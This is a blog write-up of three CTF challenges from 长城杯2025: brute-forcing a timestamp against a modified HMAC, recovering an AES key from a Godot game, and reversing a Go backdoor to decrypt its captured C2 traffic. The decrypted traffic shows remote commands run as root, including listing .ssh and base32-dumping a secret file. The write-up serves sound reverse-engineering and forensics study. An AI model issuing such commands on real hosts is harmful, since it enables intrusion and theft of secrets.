mxymの小窝
4076 字
20 分钟
长城杯2025

wasm-login#

某人本想在2025年12月第三个周末爆肝一个web安全登录demo,结果不仅搞到周一凌晨,他自己还忘了成功登录时的时间戳了,你能帮他找回来吗?

提交格式为flag{时间戳正确时的check值}。是一个大括号内为一个32位长的小写十六进制字符串。

看index

// 模拟服务器请求
function simulateServerRequest(data) {
return new Promise(resolve => {
// 模拟网络延迟
setTimeout(() => {
// 实际应用中这里应该是真实的 API 请求
// 这里仅作演示,使用本地判断
const check = CryptoJS.MD5(JSON.stringify(data)).toString(CryptoJS.enc.Hex);
if (check.startsWith("ccaf33e3512e31f3")){
resolve({ success: true });
}else{
resolve({ success: false });
}
}, 1000);
});
}

题目给了release.wasm.map

"password":"${encodedPassword}\
4. 使用HMAC-SHA256进行签名
* 5. 返回最终的JSON字符串
*/
export function authenticate(username: string, password: string): string {
// 1. Base64编码密码
const encodedPassword = encode(stringToUint8Array(password));
//console.log(encodedPassword);
// 2. 获取当前时间戳(毫秒)
const timestamp = Date.now().toString();
//console.log(timestamp);
// 3. 构建原始JSON消息
const message = `{"username":"${username}","password":"${encodedPassword}"}`;
//console.log(message);
// 4. 使用HMAC-SHA256签名
const signature = signMessage(message, timestamp);
//console.log(signature);
// 5. 构建最终的JSON消息
const finalMessage = `{"username":"${username}","password":"${encodedPassword}",\

ghidra分析

undefined4 export::authenticate(undefined4 param1,undefined4 param2)
{
undefined4 uVar1;
undefined4 local_8;
undefined4 local_4;
if (0x12ef < (int)&local_8) {
local_8 = param1;
local_4 = param2;
uVar1 = unnamed_function_34(param1,param2);
return uVar1;
}
import::env::abort(&DAT_ram_00009310,&DAT_ram_00009340,1,1);
do {
halt_trap();
} while( true );
}

题目自定义了base64表

ator
@lazy
// const ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
const ALPHA = "NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO";
/**
* Encode Uint8Array as a base64 string.
* @param bytes Byte array of type Uint8Array.
*/

分析sha256部分

const signatureBytes = hmacSHA256(secretBytes,messageBytes);\n \n return encode(ArrayBufferToUint8Array(signatureBytes));\n} \n\n// 实现 HMAC-SHA256 函数\nfunction hmacSHA256(key: ArrayBuffer, message: ArrayBuffer): ArrayBuffer {\n const blockSize = 64; // SHA256 的块大小为 64 字节\n\n // 填充密钥\n const keyPtr = changetype<usize>(key);\n const paddedKey = new ArrayBuffer(blockSize);\n const paddedKeyPtr = changetype<usize>(paddedKey);\n if (key.byteLength > blockSize) {\n // 如果密钥长度超过块大小,对密钥进行哈希处理\n init();\n update(keyPtr, key.byteLength);\n final(paddedKeyPtr);\n }else{\n // 填充密钥到块大小\n memory.copy(paddedKeyPtr, keyPtr, key.byteLength);\n fill(paddedKeyPtr + key.byteLength, 0, blockSize - key.byteLength)\n }\n //console.log(ArrayBufferToUint8Array(paddedKey).toString());\n\n // 计算 ipad 和 opad\n const ipad = new ArrayBuffer(blockSize);\n const opad = new ArrayBuffer(blockSize);\n const ipadPtr = changetype<usize>(ipad);\n const opadPtr = changetype<usize>(opad);\n for (let i = 0; i < blockSize; i++) {\n store<u8>(ipadPtr + i , load<u8>(paddedKey

也有魔改,分析可以看到xor常量改了,拼接顺序也改了

load<u8>(paddedKeyPtr + i) ^ 0x76);
store<u8>(opadPtr + i , load<u8>(paddedKeyPtr + i) ^ 0x3C);

写爆破脚本

2025年12月第三个周末到周一凌晨

先猜猜是不是凌晨

import hashlib
from datetime import datetime, timezone, timedelta
ALPHA = "NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO"
PAD = "="
def b64_custom(data: bytes) -> str:
out = []
i = 0
n = len(data)
while i + 2 < n:
v = (data[i] << 16) | (data[i+1] << 8) | data[i+2]
out.append(ALPHA[(v >> 18) & 63])
out.append(ALPHA[(v >> 12) & 63])
out.append(ALPHA[(v >> 6) & 63])
out.append(ALPHA[v & 63])
i += 3
rem = n - i
if rem == 1:
v = data[i] << 16
out.append(ALPHA[(v >> 18) & 63])
out.append(ALPHA[(v >> 12) & 63])
out.append(PAD)
out.append(PAD)
elif rem == 2:
v = (data[i] << 16) | (data[i+1] << 8)
out.append(ALPHA[(v >> 18) & 63])
out.append(ALPHA[(v >> 12) & 63])
out.append(ALPHA[(v >> 6) & 63])
out.append(PAD)
return "".join(out)
def sha256(x: bytes) -> bytes:
return hashlib.sha256(x).digest()
def weird_hmac_sha256(key: bytes, msg: bytes) -> bytes:
block = 64
if len(key) > block:
key = sha256(key)
key = key.ljust(block, b"\x00")
ipad = bytes([b ^ 0x76 for b in key]) # 注意:0x76
opad = bytes([b ^ 0x3C for b in key]) # 注意:0x3C
inner = sha256(ipad + msg)
outer = sha256(inner + opad)
return outer
def authenticate(username: str, password: str, ts_ms: int) -> str:
# WASM: stringToUint8Array(password) => 逐字符取 charCode(这里 password=admin 是 ASCII)
encoded_pw = b64_custom(password.encode("ascii"))
message = f'{{"username":"{username}","password":"{encoded_pw}"}}'
signature_bytes = weird_hmac_sha256(str(ts_ms).encode("utf-8"), message.encode("utf-8"))
signature = b64_custom(signature_bytes)
final_message = f'{{"username":"{username}","password":"{encoded_pw}","signature":"{signature}"}}'
return final_message
def md5_hex(s: str) -> str:
return hashlib.md5(s.encode("utf-8")).hexdigest()
def main():
username = "admin"
password = "admin"
target_prefix = "ccaf33e3512e31f3"
tz8 = timezone(timedelta(hours=8))
start = int(datetime(2025, 12, 22, 0, 0, 0, tzinfo=tz8).timestamp() * 1000)
end = int(datetime(2025, 12, 22, 6, 0, 0, tzinfo=tz8).timestamp() * 1000)
for ts in range(start, end + 1):
fm = authenticate(username, password, ts)
h = md5_hex(fm)
if h.startswith(target_prefix):
print("FOUND!")
print("timestamp:", ts)
print("md5:", h)
print("final_message:", fm)
break
if __name__ == "__main__":
main()
FOUND!
timestamp: 1766334550699
md5: ccaf33e3512e31f36228f0b97ccbc8f1
final_message: {"username":"admin","password":"L0In602=","signature":"LxZiwA05Y9h7wX1CI0gUitOE2LBy9y8McoBqWgKIdDo="}

babygame#

看打开页面有godot,搜索有现成工具了 godot re tool

先看这里

[gd_scene load_steps=2 format=3 uid="uid://dkq0of6k4nvab"]
[ext_resource type="Script" uid="uid://dguwugfoefc7s" path="res://scripts/flag.gd" id="1"]
[node name="Flag" type="CenterContainer"]
anchor_right = 1.0
anchor_bottom = 1.0
grow_horizontal = 2
grow_vertical = 2
script = ExtResource("1")
[node name="PanelContainer" type="PanelContainer" parent="."]
layout_mode = 2
[node name="VBoxContainer" type="VBoxContainer" parent="PanelContainer"]
layout_mode = 2
[node name="Label" type="Label" parent="PanelContainer/VBoxContainer"]
layout_mode = 2
theme_override_font_sizes/font_size = 32
text = "Please input your flag:"
[node name="FlagTextEdit" type="TextEdit" parent="PanelContainer/VBoxContainer"]
custom_minimum_size = Vector2(800, 42)
layout_mode = 2
theme_override_font_sizes/font_size = 32
[node name="Label2" type="Label" parent="PanelContainer/VBoxContainer"]
visible = false
layout_mode = 2
theme_override_colors/font_color = Color(0.886275, 0.937255, 0.478431, 1)
theme_override_font_sizes/font_size = 24
text = "you are great~!"
[node name="HBoxContainer" type="HBoxContainer" parent="PanelContainer/VBoxContainer"]
layout_mode = 2
size_flags_horizontal = 4
[node name="Button" type="Button" parent="PanelContainer/VBoxContainer/HBoxContainer"]
custom_minimum_size = Vector2(100, 42)
layout_mode = 2
theme_override_font_sizes/font_size = 24
text = "Submit"
[node name="Button2" type="Button" parent="PanelContainer/VBoxContainer/HBoxContainer"]
custom_minimum_size = Vector2(100, 42)
layout_mode = 2
theme_override_font_sizes/font_size = 24
text = "Back"
[connection signal="ready" from="." to="." method="_on_ready"]
[connection signal="pressed" from="PanelContainer/VBoxContainer/HBoxContainer/Button" to="." method="submit"]
[connection signal="pressed" from="PanelContainer/VBoxContainer/HBoxContainer/Button2" to="." method="back"]

看flag.gdc

extends CenterContainer
@onready var flagTextEdit: Node = $PanelContainer / VBoxContainer / FlagTextEdit
@onready var label2: Node = $PanelContainer / VBoxContainer / Label2
static var key = "FanAglFanAglOoO!"
var data = ""
func _on_ready() -> void :
Flag.hide()
func get_key() -> String:
return key
func submit() -> void :
data = flagTextEdit.text
var aes = AESContext.new()
aes.start(AESContext.MODE_ECB_ENCRYPT, key.to_utf8_buffer())
var encrypted = aes.update(data.to_utf8_buffer())
aes.finish()
if encrypted.hex_encode() == "d458af702a680ae4d089ce32fc39945d":
label2.show()
else:
label2.hide()
func back() -> void :
get_tree().change_scene_to_file("res://scenes/menu.tscn")

key其实通关也会弹,开始还以为直接给flag哈哈

还有个运行时改key

extends Node
@onready var fan = $"../Fan"
var score = 0
func add_point():
score += 1
if score == 1:
Flag.key = Flag.key.replace("A", "B")
fan.visible = true

image-20251228120725539

套上flag{}就行,图片是解密网站截图而已

eternum#

upx脱壳

GoReSym恢复符号

函数名都被混淆了,

跟进发现这里应该是主要处理部分

__int64 __fastcall iupHvc2q4__ptr_H1eV17y_Run()
{
_QWORD *v0; // rax
__int64 result; // rax
_QWORD *v2; // rax
_QWORD *v3; // rcx
_QWORD *v4; // r11
_QWORD *v5; // rax
_QWORD *v6; // rcx
_QWORD *v7; // r11
_QWORD *v8; // [rsp+8h] [rbp+8h]
v8 = v0;
if ( *v0 || (result = iupHvc2q4__ptr_H1eV17y_Connect()) == 0 )
{
result = iupHvc2q4__ptr_H1eV17y_o6wghH0urlbA();
if ( !result )
{
v2 = (_QWORD *)runtime_newobject();
*v2 = iupHvc2q4__ptr_H1eV17y_Run_gowrap1;
if ( dword_9CB880 )
{
v2 = (_QWORD *)runtime_gcWriteBarrier1();
v3 = v8;
*v4 = v8;
}
else
{
v3 = v8;
}
v2[1] = v3;
runtime_newproc();
v5 = (_QWORD *)runtime_newobject();
*v5 = iupHvc2q4__ptr_H1eV17y_Run_gowrap2;
if ( dword_9CB880 )
{
v5 = (_QWORD *)runtime_gcWriteBarrier1();
v6 = v8;
*v7 = v8;
}
else
{
v6 = v8;
}
v5[1] = v6;
runtime_newproc();
(*(void (**)(void))(v8[4] + 32LL))();
runtime_chanrecv1_0();
return 0;
}
}
return result;
}

AES解密特征

__int64 __fastcall iupHvc2q4_P3xHxov3(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4)
{
__int64 v4; // rax
__int64 v5; // rbx
__int128 v6; // xmm15
__int64 v7; // rcx
__int64 v8; // rax
__int64 v9; // rcx
__int64 v10; // rax
__int64 v12; // [rsp+68h] [rbp-18h]
__int64 v13; // [rsp+88h] [rbp+8h]
v13 = v4;
SoyKwS7R_JabRj3ChL();
if ( v7 )
return 0;
v8 = HpkfE6vaP2b_EojfYcyL();
if ( v9 )
return 0;
v12 = v8;
v10 = (*(__int64 (**)(void))(v8 + 24))();
if ( v10 > v5 )
{
wnHD_M_PzeouNSB873g();
return 0;
}
else
{
if ( v10 > a4 )
runtime_panicSliceAcap();
return (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD, __int64, unsigned __int64, __int64, __int64, unsigned __int64, _QWORD, _QWORD, _QWORD))(v12 + 32))(
0,
v13,
v13 + (v10 & ((__int64)(v10 - a4) >> 63)),
0,
v10,
a4,
v13 + (v10 & ((__int64)(v10 - a4) >> 63)),
v5 - v10,
a4 - v10,
v6,
*((_QWORD *)&v6 + 1),
0);
}
}
v10 = off_99B220;
iupHvc2q4_P3xHxov3();

v10应该是密钥

.noptrdata:000000000098F740 aXfqgcvjrowp5tu db 'xfqGcVjrOWp5tUGCPFQq448nPDjILTe7',0
.noptrdata:000000000098F740 ; DATA XREF: .data:off_99B220↓o

可以直接解密流量了

import struct
from scapy.all import *
from Crypto.Cipher import AES
KEY = b"xfqGcVjrOWp5tUGCPFQq448nPDjILTe7"
PCAP_FILE = "tcp.pcap"
def try_decrypt(nonce, ciphertext):
try:
cipher = AES.new(KEY, AES.MODE_GCM, nonce=nonce)
plaintext = cipher.decrypt(ciphertext)
return plaintext
except Exception:
return None
def main():
packets = rdpcap(PCAP_FILE)
full_stream = b""
for pkt in packets:
if TCP in pkt and Raw in pkt:
full_stream += pkt[Raw].load
found_any = False
i = 0
while i < len(full_stream) - 16:
try:
length_bytes = full_stream[i: i + 4]
packet_len = struct.unpack(">I", length_bytes)[0]
if 12 <= packet_len <= 1048576:
if i + 4 + packet_len <= len(full_stream):
payload = full_stream[i + 4: i + 4 + packet_len]
nonce = payload[:12]
ciphertext = payload[12:]
plaintext = try_decrypt(nonce, ciphertext)
if plaintext:
print(f" Length: {packet_len}")
print("-" * 40)
try:
print(plaintext.decode('utf-8'))
except:
print(plaintext)
print("-" * 40)
i += 4 + packet_len
continue
except Exception:
pass
i += 1
if __name__ == "__main__":
main()
Length: 52
----------------------------------------
b'(\xb5/\xfd\x04\x00Y\x00\x00\x08\x04\x12\x07\n\x05viper;#\xc2\xa7\xec\xc1\xe8\xe3\x8e{A\xf5\xce\xaa5K\x8c\x8a^\x84'
----------------------------------------
Length: 51
----------------------------------------
b'(\xb5/\xfd\x04\x00Q\x00\x00\x12\x08\n\x06whoami\xe7\\<a\xc6\xd3B<\xb7\x11y\xd5c7\xc9p\xec\xa0\xca\x90'
----------------------------------------
Length: 52
----------------------------------------
b'(\xb5/\xfd\x04\x00Y\x00\x00\x08\x01\x12\x07\x12\x05root\n\x0b\x93a\xb4\x19\xa3\xfam\x1b(\xad\x9a\xfb\xa7\xea\x17;\xa6U\xc6'
----------------------------------------
Length: 47
----------------------------------------
b'(\xb5/\xfd\x04\x001\x00\x00\x12\x04\n\x02id\xb7P\x91*\xf7\x7f\xb4\x1e\x1c2\xc5\xca\xea\xd7U\xd7\xea\xc0P\xda'
----------------------------------------
Length: 86
----------------------------------------
b"(\xb5/\xfd\x04\x00i\x01\x00\x08\x01\x12)\x12'uid=0(root) gid=0(root) groups=0(root)\n\x8ac\x06@\xca\xa3\xd1\xb5~\xb8k\xc7\x86V\xe2\x94keCz"
----------------------------------------
Length: 49
----------------------------------------
b'(\xb5/\xfd\x04\x00A\x00\x00\x12\x06\n\x04ls /\x83\xf0Q<\x9f,"j\xad\x91\xbcE\xc8\xa4\xe4\\\xa2w\x80\x01'
----------------------------------------
Length: 167
----------------------------------------
b'(\xb5/\xfd\x04\x00\xf1\x03\x00\x08\x01\x12z\x12xbin\nboot\ncdrom\ndev\netc\nhome\nlib\nlib32\nlib64\nlibx32\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsnap\nsrv\nsys\ntmp\nusr\nvar\nb\xd5\xdf$\xdf\xc1\xe5D\x13\xcc\x14\x92\x86ZZ\x8e\xa7\xde\x92\x1d'
----------------------------------------
Length: 52
----------------------------------------
b'(\xb5/\xfd\x04\x00Y\x00\x00\x12\t\n\x07ls .ssh\x1aS\x9a\xf1[d\xb7XA\xb7\x0f(c\x99\x02\xdc\xde\x89vm'
----------------------------------------
Length: 63
----------------------------------------
b'(\xb5/\xfd\x04\x00\xb1\x00\x00\x08\x01\x12\x12\x12\x10authorized_keys\n;\xa9\x16\x86\xcf\xcc\xde\x0e\xe8\xdf\xee<\xee\x1b\xb8\xb4P\xb7\xf3D'
----------------------------------------
Length: 52
----------------------------------------
b'(\xb5/\xfd\x04\x00Y\x00\x00\x12\t\n\x07ls /varl\xdb\xd8\xe3\xbb\xca\xa6\x893U\x06O\xd0W\xf9\xc6\xd9\x0c\x05\xde'
----------------------------------------
Length: 114
----------------------------------------
b"(\xb5/\xfd\x04\x00I\x02\x00\x08\x01\x12E\x12Cbackups\ncache\ncrash\nlib\nlocal\nlock\nlog\nmail\nopt\nrun\nsnap\nspool\ntmp\n\xf4RY'!\xea\x94q\xfc\xcf\xc3\xe5\xfb\x06\x8e\xda\x05WV3"
----------------------------------------
Length: 56
----------------------------------------
b'(\xb5/\xfd\x04\x00y\x00\x00\x12\r\n\x0bls /var/opt\xdd\xe3,Q{k\xe3\xf6\xe8tI`\xdf\x0b\x1f\xca\xc41\x96\x03'
----------------------------------------
Length: 54
----------------------------------------
b"(\xb5/\xfd\x04\x00i\x00\x00\x08\x01\x12\t\x12\x07secret\n\xe7W\x0f\x02\x12\xba\x88\x8ef'x\x9eW5\xc2?w\xe2\x9b\x04"
----------------------------------------
Length: 63
----------------------------------------
b'(\xb5/\xfd\x04\x00\xb1\x00\x00\x12\x14\n\x12base32 /var/opt/s*/\xf2\xa9\xf1\xbc#qD\xbcnz\x9e\xfa\n\x9b\xa6\xf5>\xea\xc8'
----------------------------------------
Length: 120
----------------------------------------
b'(\xb5/\xfd\x04\x00y\x02\x00\x08\x01\x12K\x12IMZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU===\n\xa1o\xf2\x12\xf2LB\x0bg2\xfb\xa3\xfdQq\xe3\xd6\xb5=\xe5'
----------------------------------------
Length: 48
----------------------------------------
b"(\xb5/\xfd\x04\x009\x00\x00\x12\x05\n\x03pwd\xf1\xc8ppj|s\xf4\xff\xeb\xf0Q\\\xb8q'\x105\xb10"
----------------------------------------
Length: 53
----------------------------------------
b'(\xb5/\xfd\x04\x00a\x00\x00\x08\x01\x12\x08\x12\x06/root\n\xd7cO\xe23q\xc0\xa91\x11\xca\xbe\xb99Q\xe0\xdb&\xff7'
----------------------------------------
Length: 53
----------------------------------------
b'(\xb5/\xfd\x04\x00a\x00\x00\x12\n\n\x08uname -aQ\xd5L\x80\x93\xc0\x03\xdaCm\xcfi\xca\xcc\x08)\xa0.\xb1\xe8'
----------------------------------------
Length: 154
----------------------------------------
b'(\xb5/\xfd\x04\x00\x89\x03\x00\x08\x01\x12m\x12kLinux viper 5.15.0-157-generic #167-Ubuntu SMP Wed Sep 17 21:35:53 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux\n\x02\x90\x08\xccB-\xea3\xc5\xb9B\xadz\x08\x89\xbf\x96\xc6+D'
----------------------------------------
Length: 55
----------------------------------------
b'(\xb5/\xfd\x04\x00q\x00\x00\x12\x0c\n\npython3 -vK\x06o\x1f.Dj>\x8f\xaa\x0c\xcb\xab5\xb73\x0c4O\x1e'
----------------------------------------
Length: 2048
----------------------------------------
b'(\xb5/\xfddy1\xb5>\x00\x92\xba\xa63\x80)\rh\x80\x01\x06\x18`\x80\xd9H\x88\x11\xe9\xfd\xf5\xfd\xcb\xdf\xe8)\xd3\xe7\xf7>\x95\xecW[\xed\xba\xdc\x04\xd9{\xd3\xa6\xa4\xcc\x9d"\xd0\xa7\xdc\xaa\xc6s\x95M\x04\n\x9ftS\xf9\x1cY\xaa\xf8\xe5\x0c\xf2\x84\x84pz\xc2\xf1[\x8a\xc6\xf7\xef\x86X7{\xac\x15c\r\xd2\xab\xe3\xfbF\xc9PT\xfc\xcd\xb0\xe2\xcbsz\x1c\xd1\xd5\xc6\x84h"@\xeb\xc5\xb8o\xf5\xe3\xe8}c\xbfoL\x86\x82\xb1I7\xb5\x11\xfcM\x19c\xfa[\xb1\xb8N\xbd\xc2ISh\x9b\xc6\xb7\x9cF,\xbc\x9e\xbd\xabk\x1c2\x0e#\xa6\xa8\xd4+T\xfcr\xa6x\xd4u-\x19\n\xe55\xbfV\xb1\xa5\xc7\xb9\xb1\xab\x8c-\xe5b\xfdmc\xb7\xc8\xd8\xb9\xf0\xe7h\xe3S\x13\xc7\x0bv[\xe4\xc2\x02\xba\xa5\x16\xb9\xf0\x82\xa0\x90\xb0\x1e\xbb|\x9d\x10\x8b\xf2(\x0c\x93\t\x12,\x88\x90\x05\x9c\xc7\xa1q\x1c\x1e&\x17\x1e\xcd\xd2\xe4\x83\xc9\xc9:\x90\x0b\x8f\xb5"\x90\r\xa3,\x8c\xe2\xa4\x03\xc5\xc3\xd2<\x8fG\xda\xc6\x89\x9c\xc8\xa4\x9bb\xeccC\xa8\x13\\\xf5\xbb\xd5\xf6\xd9\x17\xe5\x8a\xfb\x98jZ=\xda8~\xeb\x89D\xbaH\xac=Kz\x1a\x9a\xb6\x087\xaa\xa4,\xf6k\\\xd8\x91D\xd2(\xf6\x84k\'\xae\xfb\xe3>\xc4\xee%\xf6_7\x89\xc4D\x14\xc7oA\x1c\'\x02Y\x9c\x08\xbc\x9ez\xa8L\x13\xe8\x8faQ\x1e\xe5\xc1\xb0M\xa5\xb8\xffXY\xd8\x13\x8eu,%\xf5Pi\xbcs\xe4\xb4\xb5\xc3\x15\xfb\xdbF\x8erz\x1cE\x07\x9cB\xed&\xdfI\'M!\xc3>{\xc6u+\xa7\xc7\xee\xdb::P<,\x0e\xd4\xb0\xcf\xce\x1e\xfa\xf0n\x1a\xc8\xd3$L\xa4q\xdc\xb7\x13\xf5\n%\x0c\xe4i\x98\xbf\xe6o\xeb\\7\xe6l\xc3\xeb\xfb\xeb{\xf7>\xfb\xa2L{\x9e\xa6A\xca\x1a\xa4\r\xd2\xe6\xe6\x89\x9d=\x11&\xbd\xa5\x8b\xf4<\x0b\x14y\x9eFYWv\xfa\xb0l#=\x0f\xe4\x89$\x12Db\xc9\xd7\xb8\x91v\x83u\xac`[\xb4\xfa\x81\xc2\x1a\xde6\xea\xd6hd\xd5Q\xcao+\x01\xea\xdc\xa8[2\x14\x17\xf4\xa5\xdak\x95\xed\x82\xca\xc28\x0cMa\xec\xf91c\x0e\xc6\x96j\xda.\xc8\x98\xc3\xa7\xc7Q\xb7\xb7\x8e\x85Q\x9c\xd7\xd4_\xd0\x01\xb1sD\xb7\x1c\xc9\x88v+\xfeI7\x05y"\xa7\xc7\xce\xe9\xfb\xe3d(xq_b\x99\x04{C\xa7\x94G\xad\x9a\xa5\x8d\x13]\x9f\x1e\xbf\xa8\x13\x1e\x1aq\x19 P\x1a\xe9\xae\xae\x19HF6"\xddH=k\xf0;\xb6\xa0d$\xacX\x91\x8c\x84\xd8\xb1\xb7\x13\x1d%\x96\x1f\x1bV\x1cQ\x18\x10U\x10\x00 @\x82C\xa0\xe25\xa4\xd8\x8c@\x10\x80\x04\x80\x80\x00b\x08tH(fsJ;\xabn\xc8\xd5T\x13\xd3\xb2\x1bIj\x95xxo\xb5\x0b\xd4\x0eH\x9a\x8d\x7f\xb2\x8f\x16\t\xce\xd0\xc5\xdc\x97\xf5j\xa2G\xc8\xd5\xda\xd9\xa9\xe7"V\xc4K\x898r!q\xa3-\x8c\x9drB\xeb\x88P\xd8\xf1\x9e\xdf\r_\xd1\x9b\x80&n\xb9;\x98`7\xbd\x9b\x8c\x87\xdf\xc0Q~\xa3c\xc9\xed\xc7\xe6\xc2\x1c =\xa71\xa6\xd4\xba\xc1Pj\xc9\xf6\x86\xf1\x80\xd0\xf3\xb0i\xcf|\xfbV\x9b!r7j\xe9\xcb\xb0\x81d\xfd}[\x8by\xf7-\x1f6\xd3\xc2sP\xef\x94\xce\xbd\xb6\x91pB\xd8\xd5\xcb\x0f\x08<D\xd6&\x1c\xdb>\xe9\x83\xb7\x1b^q\xdc\xb6\x8b\x0e\xb62\x14\xaf`\x13\xcc\xbb\x03\x18u\xc5QH;\xe3\xf06%\xc9\xdd\xb7R\xce\xc6\xdc\x88&\x8b\xae\xca]\x88\xcc\xe7N\xc4\x9a \xd9\xc8\xf10\xe3\x84\x13"\x17\x91\x0f>\x9c\x00c\xee<[3F\x9f\x15\xb2\x0bK\xf0\x1aI\xf7\x96H?\x08\n$S\xd9R\xe3\xd4N\xae\xa6u\xe0Ul\x9d\x1f\xad\xad%4/_*\xee\xf4z3\xf9.\xa0\xa2R\x8f:\xa2\xa2\x032\x0b\xebO\xc7\x1ci\x19\t\xd56\x84sU\x97\x94\x9a\x97o^.\xfa* #P\x19\xd1\xb8\x7f\xf9^\x90Y\xf4\xcbH\x9b\xc4Iy\x05\xf1\xf4\xf5\xe0\xa1\xe1\xa3%X\x97\xd1\x0b\xc8\xfd\x14\xb5%\xd6\xf8$\xc3XM\xd2\x17\x0e\xe9\x86\xd5\xc2|\x9b#\x85;\xa7s\xd1\x05\xd0\xa4\xb0\x87\x95\xc7,8\xa6\x1e\xc1\x1f\x1c9@(\x8d\xe8vr\x8cT\xf5\xa4\xda\x19k^F,Xhc\x8f\x1c\xbf\x90 \xea$\xbep<m\x8b_\x7f\xaf\xcd\x05s--\xb6\xf3\xd4B\x03\xfb\xbf\xbb\x1b\xeb\r\x10\x1e\xaf`\xfa\x9c\xd7hV\x0b\x88T\xc3\x82\xf6\xfa\x81\xb4\xe0w\x08jE!\xf7>5\xb7?4\xe8|H\x13\x03\xfaBN\xa4[E$\xd5\xee;\xffX\x8dmA\xe0\xab2Q7\xe8kQ\x03\x86"\xecx\x8b\x1fH\x0c)p*\xc5\xba\x17\\\nbY\xb3\xb0\x9e\xdb\xdb\x8bdb \xfa~\x06\x11^r\xeda\xfc\xd0pO\xb1@$=\x8f8\x1f\xbd]7<X\x95G\x86o+\xee\xa3)%\x95\x94\xd7\xe6\xc7 t\x8c<*\x94\xf3\r.Pa\x1c\xa5:\x05u\xf4\xb9\xd2\x0e\xcd\xd1\x94N\xc6\xa0\xfcq\xc4\x816\x06\x86\xa0\x84\xf63h[T\x13c\x9d\xb1e\xc3d\xd6\xddf*t\xe07\xe0\xe7\xa3\xed#\x07\ti\x82B\xbc\xdc\xe8\x06\xfe|h\x8f\x9a\x8eC5\xdd\x1eN!\xbdSs\x151x\xe3\xc0\x13\xbe\xe1\xc4\xcdP\xf8\x01\xac\xb0\xc3\x9b&\xeb\x90\xaf\xd0yaa\xf4\xfb\x08\x01b\xa1\x02\x88\xa3\x83\xe5\xc4\xcd\xb1j\t\x01\xb9W>\xfdT#\xd0\x8d\x9eN\xb41\xd6G6X\x02\xd0\xac.\x94\xb0\xf1\xb4\xb5\x12#\xa4\xaa{\xc6;\xf3\x027\x8d\xc1\x02\x84\xec6e\x11"\xe8\xa4s\xe3\x9d\x89\x10#\x11O\x96`i\xe8\xa3\xc1\x89\xf5/\x06#\xe1\xa0e\xa0`\x03\x0e>\r\x85\xd2\x9d\x11\x89\xa8\xb8dK\xfc2\x84\xd8\xc9\x0f\xdb\xec\x84\t*\xf7\xb8\xbd\x11\x9b\xa3\xe9+\xa8C\xf1\x0b\x8d\xe0m@V\xb3\x1b\x0f/\xcf\xcd#\x90\x95\x03U\x9e\xbe\\\xa2\x8b\x987A\xbe\xbd\xc0\x88-\x87\xf8L}\xcc\xd0\xdc\x9b\x1e?\xd8\xae\x95\xa5\xdf\x15w\x05\x88m\x08\xa2\xc6\xc6\x0eq\xca\x9b\xa8\xbc\xc1\xe30*\xa2\xec\x7f\x90@\xdc\x0f\xe7\x8e\xc6+*\xdb\xd88\x9at\xfc\xb4P\xbc\xaeh\x19CG\xd5K6\x1b\xc7\x1b\xa8\xf8n\x13\xc6\xe9\x03\x8a\xc4\xf6\xc1\xd5\n\xff\x98\xce\xf1\xf7\x0c\r,7\x11\x87s\xcf\x03*\xcf\x8c\x0b\xc6\x14\x0b\xc3@\x10A\xe1\xe0\x1b\xb9\x1f-\xf4\xd4\xc0&[]\x04\xfd{\x925@\xc9&-\x91\xc1\x12\nx7\xf6\xb3\xd1\x0b\xad\x96\x8d\xe8\x9d\xc7!\xf6\x91\x8e\xb6 GF\x84*\x9f\xd2\xdd\x04\xdf\x08\x8d\xb3\xdf\x91ZD&\x91\xf9\x01\xc0]\x07\x10\x1e.\x18 \x958\xbe >\xd0\xd8\\\r\xf1l\x84\x1a7\xcb\xde\x1e\xe6\x069\xeevn\xe7\xc6\xe6\x10\xc9\x91\xa4\xee\x9epc\x08O\x1e\xcclS\x06\r#\x14X\xeb\x03\x13\x1e\xd5\xe8`7\x9a\xef,\x98I\xe5\x19\xf8\x9c\xee\x9b\xb7\xfa\'\x1c\x1e\x05\x04\xf9W\xfcR\xf3\x99\xb6\x18\xac\xa4G\x1d\xca\x02\x94\x04\xa6"\x91l^\xc4r\xcb\xd2f\x16\xdf\xb7l\xe9\xe61"\xc1\xa4\xe9\x88\x93*\x84\x8d\x98\x85\xc5\x01\xc9Z\x1aKY\t\xe5\xa1\xc2\x18\xd73\xd2\x13\xa1\xca\x0cg9a\x17\xc9*\xa9\xce\xe1(\xcc\xd8Lb%\xca\xa06\x95]6\x97!\xce^\x94O\xc1+\xdd\x1e\xe8\xf0\x98V\x820\x84\xc4\xa3\x1b\xf8\xbc\x18\xf9c\x18\xd8\xc8\xe9\xf0\xe8h\xdf\x89\xb43\xb5\x1b\x18\xdbf$ql\xce\xe94\xb537\xec\xf6\x8c\x84\x19y\xa0\r.\x99\xe0o3\xbc\x1dU\xb3B\x95\x1a#\xaa~\x9f\xdf\xcbh\x03\xc7\xf0\xd7\xb6F\x1c1p\xa4\x90\x82\x8e\x03\x9d\x8d\rw\xd5(\xf3\x93\xab\xd2\xaa\x19qt\x030\x01\xae\x89\x93\xb17\xf7X\xad\x11\xb2\xa9ML\xb4\xaeuY;\x0fU-\xb4]\xcex;\xfa\xaf\x85D\xdcYf\xaa@OG\x05\x9cZ}\'\xe1!\xe7\xe1\x84\xce\x17\x0c\xc5k\x111\xc3\xd5\xf33\x9f\xd1\xbd\x94\xe0\xf6q(\xc3\r\x1f}\x88\xdf%\x13\xdfm\x05i\xe8\xa1\x0f\xd8\xfc\x81\xcb\x89\x1e\x1c\xe5'
----------------------------------------
Length: 48
----------------------------------------
b'(\xb5/\xfd\x04\x009\x00\x00\x12\x05\n\x03tty\xdd\xe9o\x9d\xf5T\xcc\x8d\xc9\xe1\xe5\xda\xef,"x,\xad\x9a\xf7'
----------------------------------------
Length: 59
----------------------------------------
